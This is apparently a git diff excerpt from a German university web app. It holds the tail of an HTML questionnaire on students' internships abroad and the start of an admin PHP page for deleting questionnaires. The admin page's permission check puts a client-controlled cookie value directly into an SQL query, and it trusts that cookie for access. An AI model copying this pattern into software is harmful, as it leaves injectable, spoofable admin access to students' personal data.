<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font size='2'><span style='font-family: Arial'>Kontaktadresse</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='zeitraum0' size='90'></p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font size='2'><span style='font-family: Arial'>Ansprechpartner</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='zeitraum1' size='90'></p>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<font size='2'><span style='font-family: Arial'>Wie hast du Deinen Praktikumsplatz gefunden?</span></font></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='praktikum_find' size='118'></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<span style='font-size: 10.0pt; font-family: Arial'>Wie hast du
die Reise organisiert und wie teuer war diese etwa?</span></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font size='2'><span style='font-family: Arial'>- Visum</span></font><span style='font-size: 10.0pt; font-family: Arial'>.</span></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='visum' size='90'></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'><font size='2'>
<span style='font-family: Arial'>- Transport</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='transport0' size='90'></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'><font size='2'>
<span style='font-family: Arial'>- Unterkunft</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='unterkunft' size='90'></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<span style='font-size: 10.0pt; font-family: Arial'>Wann hast du
mit den Vorbereitungen f<>r das Praktikum begonnen?</span></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='vorbereitungsbeginn' size='118'></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial' size='2'><br>
Hast du einen Auslandskostenzuschlag beantragt und wie hoch war
dieser?</font></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='auslandszuschlag' size='118'></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial' size='2'><br>
</font><span style='font-size: 10.0pt; font-family: Arial'>In
welchen Bereich kann man deinen Praktikumsplatz einordnen?</span></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px' align='left'>
<font face='Arial'><input type='radio' value='V1' name='R1'><font size='2'><3E>ffentliche
Verwaltung<br>
</font>
<input type='radio' value='V2' name='R1'><font size='2'>Freie
Wirtschaft<br>
</font>
<input type='radio' value='V3' name='R1'><font size='2'>Sonstiges</font></font></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<span style='font-size: 10.0pt; font-family: Arial'>Bitte
beschreibe die Stelle kurz:</span></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<textarea rows='3' name='stellenbeschreibung' cols='118'></textarea></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<span style='font-size: 10.0pt; font-family: Arial'>Deine
Aufgaben bei dieser Stelle waren:</span></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='aufgaben' size='118'></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<div align='center'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>
<table border='0' width='80%' id='table3' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b><font face='Arial'>Zur Unterkunft</font></b></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<span style='font-size: 10.0pt; font-family: Arial'>Wo hast du
gewohnt und wie hast du die Wohnung gefunden? </span></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<textarea rows='2' name='wohnung_find' cols='118'></textarea></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial' size='2'><br>
</font><span style='font-size: 10.0pt; font-family: Arial'>Wurde
dir von Arbeitgeberseite bei der Suche geholfen oder gar eine
Unterkunft zur Verf<72>gung gestellt?</span></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='auslandszuschlag0' size='118'></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
<font face='Arial' size='2'>Was hat dich deine Wohnung gekostet?</font></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='aufgaben0' size='118'></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<div align='center'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>
<table border='0' width='80%' id='table4' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<h1>Bewertung deiner Stelle<font face='Arial'><b><br>
</b></font>
<span lang='EN-GB' style='font-size: 8pt; font-weight: 400'>Gib
auf einer Skala von 1 bis 10 an wie sehr diese Aussage auf deine
Stelle zutrifft! 10 hei<65>t dabei, dass es genau so war, eine 1
bedeutet, dass es das Gegenteil der Aussage war. Bleib objektiv
;)<br>
&nbsp;</span></h1>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Ich wurde
sehr gut in die t<>gliche Arbeit mit eingebunden</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V7'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V8'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V9'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V10'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V11'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V12'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V13'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V14'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V15'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V16'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Ich f<>hlte
mich auch unter den Kollegen gut aufgenommen</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V17'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V18'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V19'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V20'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V21'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V22'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V23'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V24'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V25'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V26'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Die mir
gestellten Ausgaben waren interessant</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V27'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V28'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V29'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V30'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V31'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V32'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V33'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V34'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V35'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V36'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Ich f<>hlte
mich gefordert</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V37'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V38'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V39'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V40'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V41'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V42'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V43'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V44'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V45'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V46'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Ich habe
etwas dazulernen k<>nnen</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V57'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V58'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V59'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V60'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V61'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V62'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V63'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V64'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V65'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V66'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px' height='25'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Ich hatte
keinerlei Probleme mit der Sprache</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px' height='25'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V67'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V68'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V69'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V70'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V71'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V72'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V73'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V74'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V75'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V76'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px' height='25'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Ich konnte viele gute Erfahrungen sammeln</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px' height='25'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><input type='radio' name='R1' value='V77'><font size='2'>1&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V78'><font size='2'>2&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V79'><font size='2'>3&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V80'><font size='2'>4&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V81'><font size='2'>5&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V82'><font size='2'>6&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V83'><font size='2'>7&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V84'><font size='2'>8&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V85'><font size='2'>9&nbsp;&nbsp;&nbsp;&nbsp;
</font><input type='radio' name='R1' value='V86'><font size='2'>10</font></font></p>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px' height='25'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
<font size='2'><span style='font-family: Arial'>Eventuelle
Schwierigkeiten</span></font></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px' height='25'>
<br>
<input type='text' name='schwierigkeiten' size='65'></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='56%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<div align='center'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>
<table border='0' width='80%' id='table5' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<h1><font face='Arial'><b>Freizeit<br>
&nbsp;</b></font></h1>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>
Lebensunterhaltskosten/Woche ca.</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<input type='text' name='lebenshaltungskosten' size='65'></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Was konnte
man unternehmen?<br>
(Tags<67>ber und Nachts)</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<textarea rows='2' name='unternehmen' cols='49'></textarea></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<span style='font-size: 10.0pt; font-family: Arial'>Konntest du
Kontakte kn<6B>pfen?</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<input type='text' name='kontakte' size='65'></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<span style='font-size: 10.0pt; font-family: Arial'>War dies
eher leicht/schwer?</span></td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<input type='text' name='kontakte_schwierigkeit' size='65'></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='56%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>
<div align='center'>
<table border='0' width='80%' id='table6' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<h1>Deine abschlie<69>enden Worte<br>
<span style='font-weight: 400'><font size='2'>Was du einem
Studenten mit auf den langen Weg ins Ausland geben m<>chtest! Ein
paar gute Tipps vielleicht?</font></span><br>
&nbsp;</h1>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<textarea rows='5' name='letzte_worte' cols='118'></textarea></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='56%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;<div align='center'>
<table border='0' width='80%' id='table7' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<h1>Unsere abschlie<69>enden Worte</h1>
<h1>&nbsp;</h1>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p class='MsoBodyText2'><font face='Arial' size='2'>Wir m<>chten
uns ganz herzlich bei Dir daf<61>r bedanken, dass Du die M<>he auf
dich genommen hast, diesen Bogen auszuf<75>llen und somit allen
Studierenden nach dir einiges an Sorgen und <20>ngsten genommen
hast!</font><span style='font-size: 10.0pt; font-family: Arial'><br>
Wenn Du Lust hast, schau einfach mal rein auf die Seite des
Akademischen Auslandsamtes. Dort wird demn<6D>chst neben allerlei
hilfreichen Dingen auch ein Forum und das Ergebnis dieses Bogens
zu finden sein! Wir w<>nschen Dir noch viel Freude und auch viel
Erfolg auf Deinem weiteren Weg!&nbsp;&nbsp;&nbsp; </span>
<span lang='IT' style='font-size: 10.0pt; font-family: Arial'>
AESPA</span></td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='56%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</form>
</body>
</html>";
?>

1132
fragebogen.php Executable file

File diff suppressed because it is too large Load Diff

381
fragebogen_del.php Executable file
View File

@ -0,0 +1,381 @@
<?php
$uid=$_COOKIE["uid1"];
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
// Rechte&uuml;berpr&uuml;fung
$db = dbconnect();
$result = $db->query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_fragedel'");
$row = $result->fetch_array();
if ($row[0] != 1){ include("aespa/rechte.php"); exit;}
// Rechte&uuml;berpr&uuml;fung ende// Rechte&uuml;berpr&uuml;fung ende
if (isset($_GET['action']))
$action = $_GET['action'];
else
$action = "";
switch($action){
default:
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>>Student bearbeiten</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Fragebogen löschen</font><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></font></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
<form action="; echo $_SERVER['PHP_SELF'] . "?action=del1"; echo" method=\"POST\" name=\"del1\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; border-width: 0\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\" height=\"115\">
<tr>
<td width=\"25%\">
</td>
<td width=\"25%\">&nbsp;</td>
<td width=\"25%\">
<p>&nbsp;
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\"colspan=\"2\">&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\">
<p align=\"center\">
";
$db = dbconnect();
$query = "SELECT a.uid, a.nachname, a.vorname, a.ag, a.jahrgang, a.durchgefallen
FROM kurs.stud a, aespa.aesp_pers_ang b
WHERE a.durchgefallen != 'Y'
AND a.uid = b.uid
ORDER BY a.nachname";
$result = $db->query ($query)
or die ("Cannot execute query");
echo "<select size=\"20\" name=\"stud_uid\">";
while ($row = $result->fetch_array()){
echo "
<option value=\"".$row[0]."\">$row[nachname], &nbsp;$row[vorname] ($row[ag]/$row[jahrgang])
";
IF ($row[durchgefallen] == "Y")
echo " *"; ## kann nicht passieren, durch select :-)
echo "
&nbsp;&nbsp;</option>\n";
}
echo "</select>
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
<input type=\"submit\" value=\"Löschen\" name=\"B1\"></td>
<td width=\"25%\">
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
&nbsp;</td>
<td width=\"25%\">
</td>
</tr> <tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
</td>
<td width=\"25%\">
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">&nbsp;</td>
<td width=\"25%\">
</td>
</tr>
</table>
</form>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "del1":
$deluid = $_POST[stud_uid];
setcookie("ck_studuid", "");
setcookie("ck_studuid", $deluid);
echo"
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Zugeordnete Studenten</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"70%\" border=\"0\">
